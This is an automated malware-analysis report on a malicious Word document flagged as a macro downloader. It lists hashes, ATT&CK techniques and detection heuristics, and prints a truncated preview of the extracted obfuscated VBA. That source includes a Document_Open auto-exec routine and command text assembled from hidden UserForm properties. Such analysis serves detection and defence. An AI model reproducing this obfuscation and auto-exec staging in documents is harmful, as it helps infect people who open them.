Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 68f3452f21055d71…

MALICIOUS

Office (OLE)

73.7 KB Created: 2019-12-13 06:51:00 Authoring application: Microsoft Office Word First seen: 2020-02-04
MD5: e899592c438fea18c51286cdeb26d82d SHA-1: 05825600ba798d096161985a50105d5c0bf6ec2d SHA-256: 68f3452f21055d71d4824aca5c2e9000e3cf18306bb1c743b2937d251d6459d5
262 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The file contains VBA macros, specifically a Document_Open macro designed to execute automatically. Heuristics indicate the use of CreateObject and a hidden UserForm property to stage a command, suggesting it downloads and executes a second-stage payload. The ClamAV detection name 'Doc.Downloader.Generic-7451224-0' further supports this downloader functionality.

Heuristics 7

  • ClamAV: Doc.Downloader.Generic-7451224-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-7451224-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 8244 bytes
SHA-256: a8b5b1011aada0db9edd5d36c8907ecff42a6ea169d31cf77c8806a39d2a43bc
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Lljhsuihdpfu"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Control = "Oizivtefueia, 0, 0, MSForms, TextBox"
Private Sub Document_open()
   Select Case Zrvtkymqcpdn
      Case 532
         Wdcosjgvj = Cos(504)
         Nkuintqboph = Atn(737)
         Dolzxlzmxroe = Cos(498)
      Case 418
         Ddmehxcxoshov = Atn(469)
         Gqpukleyhy = 786
         Eptgetxnxckal = CDate(411)
      Case 30
         Atriqmzqa = CInt(537)
         Jkyfegjzyh = Log(Duxzoegojv)
         Eqqhmezs = Knosxeqmryfh
End Select
   Select Case Pmkwpxbblz
      Case 447
         Spphlkifdfdhc = Cos(999)
         Mirtnyazart = Atn(569)
         Lhmguvdikykuy = Cos(301)
      Case 162
         Jiduiiptu = Atn(153)
         Arppqswjt = 817
         Wmgdfbkgzpyv = CDate(815)
      Case 741
         Nzfrvnrbnvmt = CInt(623)
         Sxogiqmrn = Log(Njngscvz)
         Srrxjbvz = Mgcobarnzfw
End Select
   Select Case Jajtzexvhjqt
      Case 200
         Qyycbmshqhmfb = Cos(956)
         Ipcmwgnbtxun = Atn(67)
         Elbtflyh = Cos(695)
      Case 43
         Wbbjbhudzby = Atn(368)
         Hyrcxefhycg = 83
         Llvmvboopvedz = CDate(413)
      Case 793
         Rnockxtv = CInt(638)
         Acwgxyvyf = Log(Hnfxfyrdm)
         Sbqlndbyrqheu = Hswjftqujajf
End Select
Uoxuyzsxu
End Sub

Attribute VB_Name = "Ssdijpjrn"
Attribute VB_Base = "0{CAE4F635-CF4E-4A69-B5EA-5FF7DB352CF7}{89760FFD-0C7B-4D7A-9AD8-5BF2E8149268}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Zftyfaxnmhn"
Function Fsdxjtoyka()
   Select Case Frernmjevejh
      Case 8
         Uieyirchv = Cos(323)
         Jqkgduhog = Atn(471)
         Wpahjkwh = Cos(638)
      Case 507
         Mqsboqwerywd = Atn(113)
         Wzxrkbtz = 765
         Moxbhrkoupw = CDate(63)
      Case 623
         Epdljocisgxk = CInt(545)
         Eweznmbpzt = Log(Anhjugxhscgqj)
         Iuiaqxeg = Pinqppjpmop
End Select
Lqfbfhwboutcn = Lljhsuihdpfu.Oizivtefueia
   Select Case Juqhoixb
      Case 388
         Cfjhjhttda = Cos(392)
         Gzmvhfwllht = Atn(247)
         Pkifwuhizmahd = Cos(908)
      Case 823
         Fekpfsorvsase = Atn(597)
         Umiltwlohfnig = 622
         Odmaghxdud = CDate(251)
      Case 281
         Mnvcciasoyrz = CInt(360)
         Qcksjhekdxgd = Log(Xiohtcyamdka)
         Wqlmbmqutcut = Jxwzoivg
End Select
Vfovdvtysscjm = Lqfbfhwboutcn + Ssdijpjrn.Tzaoqrwqfvvft + Ssdijpjrn.Xpabylbowh + Ssdijpjrn.Bzaqpzxmuvtaw
   Select Case Zsrcdnznp
      Case 694
         Ocpxpivphuzd = Cos(929)
         Zugrnfyz = Atn(842)
         Gzwunqosnqf = Cos(150)
      Case 796
         Rqgkiakzpaz = Atn(35)
         Twbpspxbrqmb = 7
         Fhpbxzfobgu = CDate(49)
      Case 17
         Uorzxquxsqyxq = CInt(350)
         Aaujgjeszyb = Log(Fuuucpcnaqo)
         Tmqrdgwqn = Ljpqvrawmf
End Select
Volnrlwv = Vfovdvtysscjm + Ssdijpjrn.Tbmbexondtx + Ssdijpjrn.Nsewjwkywlg.ControlTipText
   Select Case Suajhthfifv
      Case 664
         Kpjvmqtnuawd = Cos(67)
         Tzaluhwibosza = Atn(180)
         Bcibknsrrl = Cos(745)
      Case 516
         Dytefxwogiu = Atn(726)
         Vbnvcmppesxn = 293
         Jaiizmqtkhknb = CDate(464)
      Case 815
         Ctihjolfwpz = CInt(974)
         Yfwqdymn = Log(Uobcqfkp)
         Aczpgtlxvm = Upvflujd
End Select
Fsdxjtoyka = Gcogsfuow + Volnrlwv + Gcogsfuow
   Select Case Etioqtsrfaf
      Case 338
         Bxamcconha = Cos(677)
         Xywponptnthv = Atn(233)
         Uuefmcdmf = Cos(109)
      Case 791
         Tdodbxtxvtv = Atn(277)
         Rmpiyiqf = 729
         Iuiboiolshbu = CDate(996)
      Case 364
       
... (truncated)

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